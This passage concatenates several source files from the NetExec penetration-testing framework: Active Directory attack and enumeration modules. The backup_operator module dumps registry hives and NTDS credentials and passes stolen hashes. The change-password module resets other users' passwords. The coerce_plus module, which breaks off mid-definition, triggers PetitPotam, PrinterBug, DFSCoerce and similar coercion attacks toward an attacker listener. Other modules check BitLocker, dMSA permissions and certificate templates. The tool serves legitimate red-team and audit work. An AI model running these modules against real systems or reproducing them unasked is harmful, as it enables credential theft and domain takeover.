LSASecrets, LocalOperations from impacket.smbconnection import SessionError from impacket.dcerpc.v5 import transport, rrp from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE from nxc.helpers.misc import CATEGORY class NXCModule: name = "backup_operator" description = "Exploit user in backup operator group to dump NTDS @mpgn_x64" supported_protocols = ["smb"] category = CATEGORY.PRIVILEGE_ESCALATION def __init__(self, context=None, module_options=None): self.context = context self.module_options = module_options self.domain_admin = None self.domain_admin_hash = None self.deleted_files = True # flag to check if SAM/SYSTEM/SECURITY files were deleted def options(self, context, module_options): """NO OPTIONS""" def on_login(self, context, connection): connection.args.share = "SYSVOL" # enable remote registry context.log.display("Triggering RemoteRegistry to start through named pipe...") connection.trigger_winreg() rpc = transport.DCERPCTransportFactory(r"ncacn_np:445[\pipe\winreg]") rpc.set_smb_connection(connection.conn) if connection.kerberos: rpc.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost) dce = rpc.get_dce_rpc() if connection.kerberos: dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) try: dce.connect() dce.bind(rrp.MSRPC_UUID_RRP) for hive in ["HKLM\\SAM", "HKLM\\SYSTEM", "HKLM\\SECURITY"]: hRootKey, subKey = self._strip_root_key(dce, hive) outputFileName = f"\\\\{connection.host}\\SYSVOL\\{subKey}" context.log.debug(f"Dumping {hive}, be patient it can take a while for large hives (e.g. HKLM\\SYSTEM)") try: ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey, dwOptions=rrp.REG_OPTION_BACKUP_RESTORE | rrp.REG_OPTION_OPEN_LINK, samDesired=rrp.KEY_READ) rrp.hBaseRegSaveKey(dce, ans2["phkResult"], outputFileName) context.log.highlight(f"Saved {hive} to {outputFileName}") except Exception as e: context.log.fail(f"Couldn't save {hive}: {e} on path {outputFileName}") return except (Exception, KeyboardInterrupt) as e: context.log.fail(f"Unexpected error: {e}") return finally: with contextlib.suppress(Exception): dce.disconnect() # copy remote file to local log_path = f"{connection.output_filename}." for hive in ["SAM", "SECURITY", "SYSTEM"]: connection.get_file_single(hive, log_path + hive) # read local file try: def parse_sam(secret): context.log.highlight(secret) if not self.domain_admin: first_line = secret.strip().splitlines()[0] fields = first_line.split(":") self.domain_admin = fields[0] self.domain_admin_hash = fields[3] local_operations = LocalOperations(log_path + "SYSTEM") boot_key = local_operations.getBootKey() sam_hashes = SAMHashes(log_path + "SAM", boot_key, isRemote=False, perSecretCallback=lambda secret: parse_sam(secret)) sam_hashes.dump() sam_hashes.finish() LSA = LSASecrets(log_path + "SECURITY", boot_key, None, isRemote=False, perSecretCallback=lambda secret_type, secret: context.log.highlight(secret)) LSA.dumpCachedHashes() LSA.dumpSecrets() except Exception as e: context.log.fail(f"Fail to dump the sam and lsa: {e!s}") if self.domain_admin: connection.conn.logoff() connection.create_conn_obj() if connection.hash_login(connection.domain, self.domain_admin, self.domain_admin_hash): try: context.log.display("Dumping NTDS...") connection.ntds() except Exception as e: context.log.fail(f"Fail to dump the NTDS: {e!s}") context.log.display(f"Cleaning dump with user {self.domain_admin} and hash {self.domain_admin_hash} on domain {connection.domain}") connection.execute("del C:\\Windows\\sysvol\\sysvol\\SECURITY && del C:\\Windows\\sysvol\\sysvol\\SAM && del C:\\Windows\\sysvol\\sysvol\\SYSTEM") sleep(0.2) for hive in ["SAM", "SECURITY", "SYSTEM"]: try: out = connection.conn.listPath("SYSVOL", hive) if out: self.deleted_files = False context.log.fail(f"Fail to remove the file {hive}, path: C:\\Windows\\sysvol\\sysvol\\{hive}") except SessionError as e: context.log.debug(f"File {hive} successfully removed: {e}") else: self.deleted_files = False else: self.deleted_files = False if not self.deleted_files: context.log.display("Use the domain admin account to clean the file on the remote host") context.log.display("netexec smb dc_ip -u user -p pass -x \"del C:\\Windows\\sysvol\\sysvol\\SECURITY && del C:\\Windows\\sysvol\\sysvol\\SAM && del C:\\Windows\\sysvol\\sysvol\\SYSTEM\"") # noqa: Q003 else: context.log.display("Successfully deleted dump files !") def _strip_root_key(self, dce, key_name): # Let's strip the root key key_name.split("\\")[0] sub_key = "\\".join(key_name.split("\\")[1:]) ans = rrp.hOpenLocalMachine(dce) h_root_key = ans["phKey"] return h_root_key, sub_key NetExec-1.5.1/nxc/modules/badsuccessor.py000066400000000000000000000176511514706431700203650ustar00rootroot00000000000000from impacket.ldap import ldaptypes from nxc.helpers.misc import CATEGORY from nxc.parsers.ldap_results import parse_result_attributes from ldap3.protocol.microsoft import security_descriptor_control RELEVANT_OBJECT_TYPES = { "00000000-0000-0000-0000-000000000000": "All Objects", "0feb936f-47b3-49f2-9386-1dedc2c23765": "msDS-DelegatedManagedServiceAccount", } EXCLUDED_SIDS_SUFFIXES = ["-512", "-519"] # Domain Admins, Enterprise Admins EXCLUDED_SIDS = ["S-1-5-32-544", "S-1-5-18"] # Builtin Administrators, Local SYSTEM # Define all access rights ACCESS_RIGHTS = { # Generic Rights "GenericRead": 0x80000000, # ADS_RIGHT_GENERIC_READ "GenericWrite": 0x40000000, # ADS_RIGHT_GENERIC_WRITE "GenericExecute": 0x20000000, # ADS_RIGHT_GENERIC_EXECUTE "GenericAll": 0x10000000, # ADS_RIGHT_GENERIC_ALL # Maximum Allowed access type "MaximumAllowed": 0x02000000, # Access System Acl access type "AccessSystemSecurity": 0x01000000, # ADS_RIGHT_ACCESS_SYSTEM_SECURITY # Standard access types "Synchronize": 0x00100000, # ADS_RIGHT_SYNCHRONIZE "WriteOwner": 0x00080000, # ADS_RIGHT_WRITE_OWNER "WriteDACL": 0x00040000, # ADS_RIGHT_WRITE_DAC "ReadControl": 0x00020000, # ADS_RIGHT_READ_CONTROL "Delete": 0x00010000, # ADS_RIGHT_DELETE # Specific rights "AllExtendedRights": 0x00000100, # ADS_RIGHT_DS_CONTROL_ACCESS "ListObject": 0x00000080, # ADS_RIGHT_DS_LIST_OBJECT "DeleteTree": 0x00000040, # ADS_RIGHT_DS_DELETE_TREE "WriteProperties": 0x00000020, # ADS_RIGHT_DS_WRITE_PROP "ReadProperties": 0x00000010, # ADS_RIGHT_DS_READ_PROP "Self": 0x00000008, # ADS_RIGHT_DS_SELF "ListChildObjects": 0x00000004, # ADS_RIGHT_ACTRL_DS_LIST "DeleteChild": 0x00000002, # ADS_RIGHT_DS_DELETE_CHILD "CreateChild": 0x00000001, # ADS_RIGHT_DS_CREATE_CHILD } # Define which rights are considered relevant for potential abuse RELEVANT_RIGHTS = { "GenericAll": ACCESS_RIGHTS["GenericAll"], "GenericWrite": ACCESS_RIGHTS["GenericWrite"], "WriteOwner": ACCESS_RIGHTS["WriteOwner"], "WriteDACL": ACCESS_RIGHTS["WriteDACL"], "CreateChild": ACCESS_RIGHTS["CreateChild"], "WriteProperties": ACCESS_RIGHTS["WriteProperties"], "AllExtendedRights": ACCESS_RIGHTS["AllExtendedRights"] } FUNCTIONAL_LEVELS = { "Windows 2000": 0, "Windows Server 2003": 1, "Windows Server 2003 R2": 2, "Windows Server 2008": 3, "Windows Server 2008 R2": 4, "Windows Server 2012": 5, "Windows Server 2012 R2": 6, "Windows Server 2016": 7, "Windows Server 2019": 8, "Windows Server 2022": 9, "Windows Server 2025": 10, } class NXCModule: """ ------- Module by @mpgn based on https://www.akamai.com/blog/security-research/abusing-dmsa-for-privilege-escalation-in-active-directory#credentials and https://raw.githubusercontent.com/akamai/BadSuccessor/refs/heads/main/Get-BadSuccessorOUPermissions.ps1 """ name = "badsuccessor" description = "Check if vulnerable to bad successor attack (DMSA)" supported_protocols = ["ldap"] category = CATEGORY.ENUMERATION def __init__(self): self.context = None self.module_options = None def options(self, context, module_options): """No options available""" def is_excluded_sid(self, sid, domain_sid): if sid in EXCLUDED_SIDS: return True return any(sid.startswith(domain_sid) and sid.endswith(suffix) for suffix in EXCLUDED_SIDS_SUFFIXES) def get_domain_sid(self): """Retrieve the domain SID from the domain object in LDAP""" r = self.connection.search( searchFilter="(objectClass=domain)", attributes=["objectSid"] ) parsed = parse_result_attributes(r) if parsed and "objectSid" in parsed[0]: return parsed[0]["objectSid"] def find_bad_successor_ous(self, entries): domain_sid = self.get_domain_sid() results = {} parsed = parse_result_attributes(entries) for entry in parsed: dn = entry["distinguishedName"] sd_data = entry["nTSecurityDescriptor"] sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=sd_data) for ace in sd["Dacl"]["Data"]: if ace["AceType"] != ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE: continue has_relevant_right = False mask = int(ace["Ace"]["Mask"]["Mask"]) for right_value in RELEVANT_RIGHTS.values(): if mask & right_value: has_relevant_right = True break if not has_relevant_right: continue # Skip this ACE if it doesn't have any relevant rights object_type = getattr(ace, "ObjectType", None) if object_type: object_guid = ldaptypes.bin_to_string(object_type).lower() if object_guid not in RELEVANT_OBJECT_TYPES: continue sid = ace["Ace"]["Sid"].formatCanonical() if self.is_excluded_sid(sid, domain_sid): continue results.setdefault(sid, []).append(dn) if hasattr(sd, "OwnerSid"): owner_sid = str(sd["OwnerSid"]) if not self.is_excluded_sid(owner_sid, domain_sid): results.setdefault(owner_sid, []).append(dn) return results def resolve_sid_to_name(self, sid): """ Resolves a SID to a samAccountName using LDAP Args: ---- sid: The SID to resolve Returns: ------- str: The samAccountName if found, otherwise the original SID """ try: search_filter = f"(objectSid={sid})" response = self.connection.search( searchFilter=search_filter, attributes=["sAMAccountName"] ) parsed = parse_result_attributes(response) if parsed and "sAMAccountName" in parsed[0]: return parsed[0]["sAMAccountName"] return sid except Exception: return sid def on_login(self, context, connection): self.connection = connection # Check for a domain controller with Windows Server 2025 resp = self.connection.search( searchFilter="(&(objectCategory=computer)(primaryGroupId=516))", attributes=["operatingSystem", "dNSHostName"] ) parsed_resp = parse_result_attributes(resp) for dc in parsed_resp: if "2025" in dc["operatingSystem"]: out = connection.resolver(dc["dNSHostName"]) dc_ip = out["host"] if out else "Unknown IP" context.log.success(f"Found domain controller with operating system Windows Server 2025: {dc_ip} ({dc['dNSHostName']})") else: context.log.fail("No domain controller with operating system Windows Server 2025 found, attack not possible. Enumerate dMSA objects anyway.") # Enumerate dMSA objects controls = security_descriptor_control(sdflags=0x07) # OWNER_SECURITY_INFORMATION resp = self.connection.search( searchFilter="(objectClass=organizationalUnit)", attributes=["distinguishedName", "nTSecurityDescriptor"], searchControls=controls ) context.log.debug(f"Found {len(resp)} entries") results = self.find_bad_successor_ous(resp) if results: context.log.success(f"Found {len(results)} results") else: context.log.highlight("No account found") for sid, ous in results.items(): samaccountname = self.resolve_sid_to_name(sid) for ou in ous: if sid == samaccountname: context.log.highlight(f"{sid}, {ou}") else: context.log.highlight(f"{samaccountname} ({sid}), {ou}") NetExec-1.5.1/nxc/modules/bitlocker.py000066400000000000000000000144341514706431700176570ustar00rootroot00000000000000import re from impacket.dcerpc.v5.dcom import wmi from impacket.dcerpc.v5.dtypes import NULL from impacket.dcerpc.v5.dcomrt import DCOMConnection from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY from nxc.helpers.misc import CATEGORY class NXCModule: name = "bitlocker" description = "Enumerating BitLocker Status on target(s) If it is enabled or disabled." supported_protocols = ["smb", "wmi"] category = CATEGORY.ENUMERATION def __init__(self, context=None, module_options=None): self.context = context self.module_options = module_options def options(self, context, module_options): """ USAGE: NetExec smb -u -p -M bitlocker NetExec wmi -u -p -M bitlocker (Better option to use on real life.) """ def on_admin_login(self, context, connection): if context.protocol == "smb": bitlocker_smb = BitLockerSMB(context, connection) bitlocker_smb.check_bitlocker_status() elif context.protocol == "wmi": bitlocker_wmi = BitLockerWMI(context, connection) bitlocker_wmi.check_bitlocker_status() class BitLockerSMB: def __init__(self, context, connection): self.context = context self.connection = connection def check_bitlocker_status(self): # PowerShell command to check BitLocker volumes status. check_bitlocker_command_str = 'powershell.exe "Get-BitLockerVolume | Select-Object MountPoint, EncryptionMethod, ProtectionStatus"' try: # Executing the PowerShell command to get BitLocker volumes status. check_bitlocker_command_str_output = self.connection.execute(check_bitlocker_command_str, True) if "'Get-BitLockerVolume' is not recognized" in check_bitlocker_command_str_output: self.context.log.fail("BitLockerVolume not found on target.") return # Splitting the output into lines. lines = str(check_bitlocker_command_str_output).splitlines() data_lines = [line for line in lines if re.match(r"\w:", line)] for line in data_lines: # Checking every line for starting with drive if line[1] == ":": parts = line.split() MountPoint, EncryptionMethod, protection_status = parts[0], parts[1], parts[2] # Checking if BitLocker is enabled. if protection_status == "On": self.context.log.highlight(f"BitLocker is enabled on drive {MountPoint} (Encryption Method: {EncryptionMethod})") else: self.context.log.highlight(f"BitLocker is disabled on drive {MountPoint}") except Exception as e: self.context.log.exception(f"Exception occurred: {e}") class BitLockerWMI: def __init__(self, context, connection): self.context = context self.connection = connection def check_bitlocker_status(self): try: # Create a DCOM connection dcom_conn = DCOMConnection( self.connection.host, self.connection.username, self.connection.password, self.connection.domain, self.connection.lmhash, self.connection.nthash, oxidResolver=True, doKerberos=self.connection.kerberos, kdcHost=self.connection.kdcHost) try: # CoCreateInstanceEx for WMI login i_interface = dcom_conn.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(i_interface) # Specify the namespace for BitLocker bitlockerNamespace = "root\\CIMv2\\Security\\MicrosoftVolumeEncryption" # NTLM login for WMI iWbemServices = iWbemLevel1Login.NTLMLogin(bitlockerNamespace, NULL, NULL) # Set authentication level iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) # Query to get BitLocker status classQuery = "SELECT DriveLetter, ProtectionStatus, EncryptionMethod FROM Win32_EncryptableVolume" iEnumWbemClassObject = iWbemServices.ExecQuery(classQuery) encryptionTypeMapping = { 0: "None", 1: "AES_128_WITH_DIFFUSER", 2: "AES_256_WITH_DIFFUSER", 3: "AES_128", 4: "AES_256", 5: "HARDWARE_ENCRYPTION", 6: "XTS_AES_128", 7: "XTS_AES_256_WITH_DIFFUSER" } try: while True: iWbemClassObject = iEnumWbemClassObject.Next(0xffffffff, 1) encryptionMethod = int(iWbemClassObject[0].EncryptionMethod) if iWbemClassObject[0].ProtectionStatus == 1: self.context.log.highlight(f"BitLocker is enabled on drive {iWbemClassObject[0].DriveLetter} (Encryption Method: {encryptionTypeMapping.get(encryptionMethod, 'Unknown')})") else: if encryptionMethod == 0: # Should be 0 if disabled self.context.log.highlight(f"BitLocker is disabled on drive {iWbemClassObject[0].DriveLetter}") except Exception: pass # Using pass because if try to log or printing, getting "WMI Session Error: code: 0x1 - WBEM_S_FALSE" # Release resources iWbemLevel1Login.RemRelease() iWbemServices.RemRelease() dcom_conn.disconnect() except Exception as e: if "WBEM_E_INVALID_NAMESPACE" in str(e): self.context.log.fail("BitLockerNamespace not found on target.") dcom_conn.disconnect() except Exception as e: self.context.log.error(f"Error occurred during BitLocker check: {e}") dcom_conn.disconnect() NetExec-1.5.1/nxc/modules/certipy-find.py000066400000000000000000000122601514706431700202710ustar00rootroot00000000000000#!/usr/bin/env python3 import json import socket from os import makedirs from certipy.commands.find import Find from certipy.lib.target import Target, DnsResolver from certipy.lib.formatting import pretty_print from datetime import datetime from nxc.helpers.misc import CATEGORY from nxc.paths import NXC_PATH class NXCModule: """Module made by: @NeffIsBack, @gatariee""" name = "certipy-find" description = "certipy find command with options to export the result to text/csv/json. Default: Show only vulnerable templates" supported_protocols = ["ldap"] category = CATEGORY.ENUMERATION def __init__(self, context=None, module_options=None): self.context = context self.module_options = module_options def options(self, context, module_options): """ VULN Show only vulnerable configurations (Default: True) ENABLED Show only enabled templates Export options: TEXT Export results to a plain text file CSV Export results to a CSV file JSON Export results to a JSON file """ self.vuln = True self.enabled = False self.output_path = f"{NXC_PATH}/modules/certipy-find" self.json = False self.csv = False self.text = False if "VULN" in module_options: self.vuln = module_options["VULN"].lower() in ["true", "1", "yes"] if "ENABLED" in module_options: self.enabled = module_options["ENABLED"].lower() in ["true", "1", "yes"] # Export options if "JSON" in module_options: self.json = module_options["JSON"].lower() in ["true", "1", "yes"] if "CSV" in module_options: self.csv = module_options["CSV"].lower() in ["true", "1", "yes"] if "TEXT" in module_options: self.text = module_options["TEXT"].lower() in ["true", "1", "yes"] def on_login(self, context, connection): dns_server = connection.args.dns_server if not dns_server: try: # If connection.host is an IP, use it as DNS socket.inet_aton(connection.host) dns_server = connection.host except Exception: # Otherwise let DnsResolver use system resolver (None) dns_server = None resolv = DnsResolver.create(dns_server) # prefer connection.hostname if present, otherwise connection.host remote = (connection.hostname or connection.host) or "" remote = (f"{remote}.{connection.domain}".lower() if "." not in remote else remote.lower()) if connection.domain else remote.lower() target = Target( resolver=resolv, domain=connection.domain, username=connection.username, password=connection.password, remote_name=connection.remoteName, lmhash=connection.lmhash, nthash=connection.nthash, do_kerberos=connection.kerberos, target_ip=connection.host, ldap_port=connection.port, ldap_scheme="ldaps" if connection.port == 636 else "ldap", ldap_signing=connection.signing_required, ldap_channel_binding=connection.cbt_status in ["Always", "When Supported"], ) finder = Find( target=target, json=self.json, csv=self.csv, text=self.text, output_path=self.output_path, stdout=True, vulnerable=self.vuln, enabled=self.enabled, ) # Get templates and CAs templates = finder.get_certificate_templates() cas = finder.get_certificate_authorities() finder._link_cas_and_templates(cas, templates) # Get OIDs oids = finder.get_issuance_policies() # Process information finder._link_templates_and_policies(templates, oids) finder._process_ca_properties(cas) finder._process_template_properties(templates) output = finder.get_output_for_text_and_json(templates, cas, oids) pretty_print(output, print_func=context.log.highlight) # Save to disk if any export option specified if self.json or self.csv or self.text: makedirs(self.output_path, exist_ok=True) filename = f"certipy_{connection.hostname}_{connection.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-") if self.json: with open(f"{self.output_path}/{filename}.json", "w") as f: json.dump( output, f, indent=2, default=str, ) if self.csv: template_output = finder.get_template_output_for_csv(output) ca_output = finder.get_ca_output_for_csv(output) with open(f"{self.output_path}/{filename}-templates.csv", "w") as f: f.write(template_output) with open(f"{self.output_path}/{filename}-cas.csv", "w") as f: f.write(ca_output) if self.text: with open(f"{self.output_path}/{filename}.txt", "w") as f: pretty_print(output, print_func=lambda x: f.write(x + "\n")) NetExec-1.5.1/nxc/modules/change-password.py000066400000000000000000000172031514706431700207630ustar00rootroot00000000000000import sys from impacket.dcerpc.v5 import samr, epm, transport from impacket.dcerpc.v5.rpcrt import DCERPCException from nxc.helpers.misc import CATEGORY class NXCModule: """ Module for changing or resetting user passwords Module by Fagan Afandiyev, termanix and NeffIsBack """ name = "change-password" description = "Change or reset user passwords via various protocols" supported_protocols = ["smb"] category = CATEGORY.PRIVILEGE_ESCALATION def options(self, context, module_options): """ Required (one of): NEWPASS The new password of the user. NEWNTHASH The new NT hash of the user. Optional: USER The user account if the target is not the current user. Examples -------- If STATUS_PASSWORD_MUST_CHANGE, STATUS_PASSWORD_EXPIRED or STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT (Change password for current user) netexec smb -u username -p oldpass -M change-password -o NEWNTHASH='nthash' netexec smb -u username -H oldnthash -M change-password -o NEWPASS='newpass' If want to change other user's password (with forcechangepassword priv or admin rights) netexec smb -u username -p password -M change-password -o USER='target_user' NEWPASS='target_user_newpass' netexec smb -u username -p password -M change-password -o USER='target_user' NEWNTHASH='target_user_newnthash' """ self.newpass = module_options.get("NEWPASS") self.newhash = module_options.get("NEWNTHASH") self.target_user = module_options.get("USER") if not self.newpass and not self.newhash: context.log.fail("Either NEWPASS or NEWNTHASH is required!") sys.exit(1) def authenticate(self, context, connection, protocol, anonymous=False): # Authenticate to the target using DCE/RPC with either user credentials or a null session. Establishes a connection and binds to the SAMR service. try: # Map to the SAMR endpoint on the target string_binding = epm.hept_map(connection.host, samr.MSRPC_UUID_SAMR, protocol=protocol) rpctransport = transport.DCERPCTransportFactory(string_binding) rpctransport.setRemoteHost(connection.host) if anonymous: rpctransport.set_credentials("", "", "", "", "", "") rpctransport.set_kerberos(False, None) context.log.info("Connecting with null session credentials.") else: rpctransport.set_credentials( connection.username, connection.password, connection.domain, connection.lmhash, connection.nthash, aesKey=connection.aesKey, ) context.log.info(f"Connecting as {connection.domain}\\{connection.username}") # Connect to the DCE/RPC endpoint and bind to the SAMR service dce = rpctransport.get_dce_rpc() dce.connect() context.log.info("[+] Successfully connected to DCE/RPC") dce.bind(samr.MSRPC_UUID_SAMR) context.log.info("[+] Successfully bound to SAMR") return dce except DCERPCException as e: context.log.fail(f"DCE/RPC Exception: {e!s}") raise def on_login(self, context, connection): self.context = context target_username = self.target_user or connection.username target_domain = connection.domain # Grab all creds from the connection to use for authentication self.oldpass = connection.password self.oldhash = connection.nthash new_lmhash, new_nthash = "", "" # Parse new hash values if provided if self.newhash: try: new_lmhash, new_nthash = self.newhash.split(":") except ValueError: new_nthash = self.newhash try: self.dce = self.authenticate(context, connection, protocol="ncacn_np", anonymous=False) except Exception as e: # Handle specific errors like password expiration or must be change if "STATUS_PASSWORD_MUST_CHANGE" in str(e) or "STATUS_PASSWORD_EXPIRED" in str(e) or "STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT" in str(e): context.log.warning("Password must be changed. Trying with null session.") self.dce = self.authenticate(context, connection, protocol="ncacn_ip_tcp", anonymous=True) elif "STATUS_LOGON_FAILURE" in str(e): context.log.fail("Authentication failure: wrong credentials.") return False else: raise try: # Perform the SMB SAMR password change self._smb_samr_change(context, connection, target_username, target_domain, self.oldhash, self.newpass, new_nthash) # Remove user if exists to avoid outdated credentials when we update plaintext password, but hash exists (or vice versa) user = self.context.db.get_user(target_domain, target_username) user_ids = [row[0] for row in user] self.context.db.remove_credentials(user_ids) # Store the new credentials in the database if new_nthash: self.context.db.add_credential("hash", target_domain, target_username, new_nthash) else: self.context.db.add_credential("plaintext", target_domain, target_username, self.newpass) except Exception as e: context.log.fail(f"SMB-SAMR password change failed: {e}") finally: self.dce.disconnect() def _smb_samr_change(self, context, connection, target_username, target_domain, oldHash, newPassword, newHash): # Reset the password for a different user if target_username != connection.username: user_handle = self._hSamrOpenUser(connection, target_username) samr.hSamrSetNTInternal1(self.dce, user_handle, newPassword, newHash) context.log.success(f"Successfully changed password for {target_username}") else: # Change password for the current user if newPassword: # Change the password with new password samr.hSamrUnicodeChangePasswordUser2(self.dce, "\x00", target_username, self.oldpass, newPassword, "", oldHash) else: # Change the password with new hash user_handle = self._hSamrOpenUser(connection, target_username) samr.hSamrChangePasswordUser(self.dce, user_handle, self.oldpass, "", oldHash, "aad3b435b51404eeaad3b435b51404ee", newHash) context.log.highlight("Note: Target user must change password at next logon.") context.log.success(f"Successfully changed password for {target_username}") def _hSamrOpenUser(self, connection, username): """Get handle to the user object""" try: # Connect to the target server and retrieve handles server_handle = samr.hSamrConnect(self.dce, connection.host + "\x00")["ServerHandle"] domain_sid = samr.hSamrLookupDomainInSamServer(self.dce, server_handle, connection.domain)["DomainId"] domain_handle = samr.hSamrOpenDomain(self.dce, server_handle, domainId=domain_sid)["DomainHandle"] user_rid = samr.hSamrLookupNamesInDomain(self.dce, domain_handle, (username,))["RelativeIds"]["Element"][0] return samr.hSamrOpenUser(self.dce, domain_handle, userId=user_rid)["UserHandle"] except Exception as e: self.context.log.fail(f"Failed to open user: {e}") NetExec-1.5.1/nxc/modules/coerce_plus.py000066400000000000000000001517331514706431700202100ustar00rootroot00000000000000from impacket.dcerpc.v5 import transport, rprn, even, epm from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray, NDRPOINTERNULL from impacket.dcerpc.v5.dtypes import LPBYTE, USHORT, LPWSTR, DWORD, ULONG, NULL, WSTR, LONG, BOOL, PCHAR, RPC_SID from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY from impacket.uuid import uuidtup_to_bin from nxc.helpers.misc import CATEGORY import contextlib class NXCModule: name = "coerce_plus" description = "Module to check if the Target is vulnerable to any coerce vulns. Set LISTENER IP for coercion." supported_protocols = ["smb"] category = CATEGORY.PRIVILEGE_ESCALATION def __init__(self, context=None, module_options=None): self.context = context self.module_options = module_options self.listener = None self.always_continue = None self.method = "all" def options(self, context, module_options): """ LISTENER LISTENER for exploitation (default: 127.0.0.1) ALWAYS Always continue to all exploit (default: False) METHOD Exploit method (Petitpotam, DFSCoerce, ShadowCoerce, Printerbug, MSEven, All default: All) M Alias for METHOD L Alias for LISTENER """ self.listener = None if "LISTENER" in module_options: self.listener = module_options["LISTENER"] if "L" in module_options: self.listener = module_options["L"] if "ALWAYS" in module_options: self.always_continue = True if "METHOD" in module_options: self.method = module_options["METHOD"].lower() if "M" in module_options: self.method = module_options["M"].lower() def on_login(self, context, connection): runmethod = False if self.method == "all" or self.method[:1] == "d": # DFSCoerce runmethod = True """DFSCOERCE START""" try: dfscocerceclass = DFSCoerceTrigger(context) target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain dfscocerceconnect = dfscocerceclass.connect( username=connection.username, password=connection.password, domain=connection.domain, lmhash=connection.lmhash, nthash=connection.nthash, target=target, doKerberos=connection.kerberos, dcHost=connection.kdcHost, aesKey=connection.aesKey, pipe="netdfs" ) if dfscocerceconnect is not None: context.log.debug("Target is vulnerable to DFSCoerce") context.log.highlight("VULNERABLE, DFSCoerce") if self.listener is not None: # exploit dfscocerceclass.exploit(dfscocerceconnect, self.listener, self.always_continue, "netdfs") dfscocerceconnect.disconnect() else: context.log.debug("Target is not vulnerable to DFSCoerce") except Exception as e: context.log.error(f"Error in DFSCoerce module: {e}") """ DFSCOERCE END """ if self.method == "all" or self.method[:1] == "s": # ShadowCoerce runmethod = True """ ShadowCoerce START """ try: shadowcocerceclass = ShadowCoerceTrigger(context) target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain shadowcocerceconnect = shadowcocerceclass.connect( username=connection.username, password=connection.password, domain=connection.domain, lmhash=connection.lmhash, nthash=connection.nthash, target=target, doKerberos=connection.kerberos, dcHost=connection.kdcHost, aesKey=connection.aesKey, pipe="Fssagentrpc" ) if shadowcocerceconnect is not None: context.log.debug("Target is vulnerable to ShadowCoerce") context.log.highlight("VULNERABLE, ShadowCoerce") if self.listener is not None: # exploit shadowcocerceclass.exploit(shadowcocerceconnect, self.listener, self.always_continue, "Fssagentrpc") shadowcocerceconnect.disconnect() else: context.log.debug("Target is not vulnerable to ShadowCoerce") except Exception as e: context.log.error(f"Error in ShadowCoerce module: {e}") """ ShadowCoerce END """ if self.method == "all" or self.method[:2] == "pe": # PetitPotam runmethod = True """ PETITPOTAM START """ pipes = ["efsrpc", "lsarpc", "samr", "lsass", "netlogon"] reducelog = True for pipe in pipes: context.log.debug(f"Trying to connect to {pipe} pipe") try: petitpotamclass = PetitPotamtTrigger(context) target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain petitpotamconnect = petitpotamclass.connect( username=connection.username, password=connection.password, domain=connection.domain, lmhash=connection.lmhash, nthash=connection.nthash, target=target, doKerberos=connection.kerberos, dcHost=connection.kdcHost, aesKey=connection.aesKey, pipe=pipe ) if petitpotamconnect is not None: if reducelog: context.log.debug("Target is vulnerable to PetitPotam") context.log.highlight("VULNERABLE, PetitPotam") reducelog = False if self.listener is not None: # exploit TODO exploit_status = petitpotamclass.exploit(petitpotamconnect, self.listener, self.always_continue, pipe) if not self.always_continue and exploit_status: break petitpotamconnect.disconnect() else: context.log.debug("Target is not vulnerable to PetitPotam") except Exception as e: context.log.error(f"Error in PetitPotam module: {e}") """ PETITPOTAM END """ if self.method == "all" or self.method[:2] == "pr": # PrinterBug runmethod = True """ PRINTERBUG START """ pipes = ["spoolss", "[dcerpc]"] for pipe in pipes: try: printerbugclass = PrinterBugTrigger(context) target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain printerbugconnect = printerbugclass.connect( username=connection.username, password=connection.password, domain=connection.domain, lmhash=connection.lmhash, nthash=connection.nthash, target=target, doKerberos=connection.kerberos, dcHost=connection.kdcHost, aesKey=connection.aesKey, pipe=pipe ) if printerbugconnect is not None: context.log.debug("Target is vulnerable to PrinterBug") context.log.highlight("VULNERABLE, PrinterBug") if self.listener is not None: # exploit exploit_status = printerbugclass.exploit(printerbugconnect, self.listener, target, self.always_continue, pipe) if not self.always_continue and exploit_status: break printerbugconnect.disconnect() else: context.log.debug("Target is not vulnerable to PrinterBug") except Exception as e: context.log.error(f"Error in PrinterBug module: {e}") """ PRINTERBUG END """ if self.method == "all" or self.method[:1] == "m": # MSEven runmethod = True """ MSEVEN START """ try: msevenclass = MSEvenTrigger(context) target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain msevenconnect = msevenclass.connect( username=connection.username, password=connection.password, domain=connection.domain, lmhash=connection.lmhash, nthash=connection.nthash, target=target, doKerberos=connection.kerberos, dcHost=connection.kdcHost, aesKey=connection.aesKey, pipe="eventlog" ) if msevenconnect is not None: context.log.debug("Target is vulnerable to MSEven") context.log.highlight("VULNERABLE, MSEven") if self.listener is not None: # exploit msevenclass.exploit(msevenconnect, self.listener, self.always_continue, "eventlog") msevenconnect.disconnect() else: context.log.debug("Target is not vulnerable to MSEven") except Exception as e: context.log.error(f"Error in MSEven module: {e}") """ MSEVEN END """ if not runmethod: context.log.error("Invalid method, please check the method name.") return @staticmethod def get_dynamic_endpoint(interface: bytes, target: str, timeout: int = 5) -> str: string_binding = rf"ncacn_ip_tcp:{target}[135]" rpctransport = transport.DCERPCTransportFactory(string_binding) rpctransport.set_connect_timeout(timeout) dce = rpctransport.get_dce_rpc() dce.connect() return epm.hept_map(target, interface, protocol="ncacn_ip_tcp", dce=dce) class ShadowCoerceTrigger: def __init__(self, context): self.context = context def connect(self, username, password, domain, lmhash, 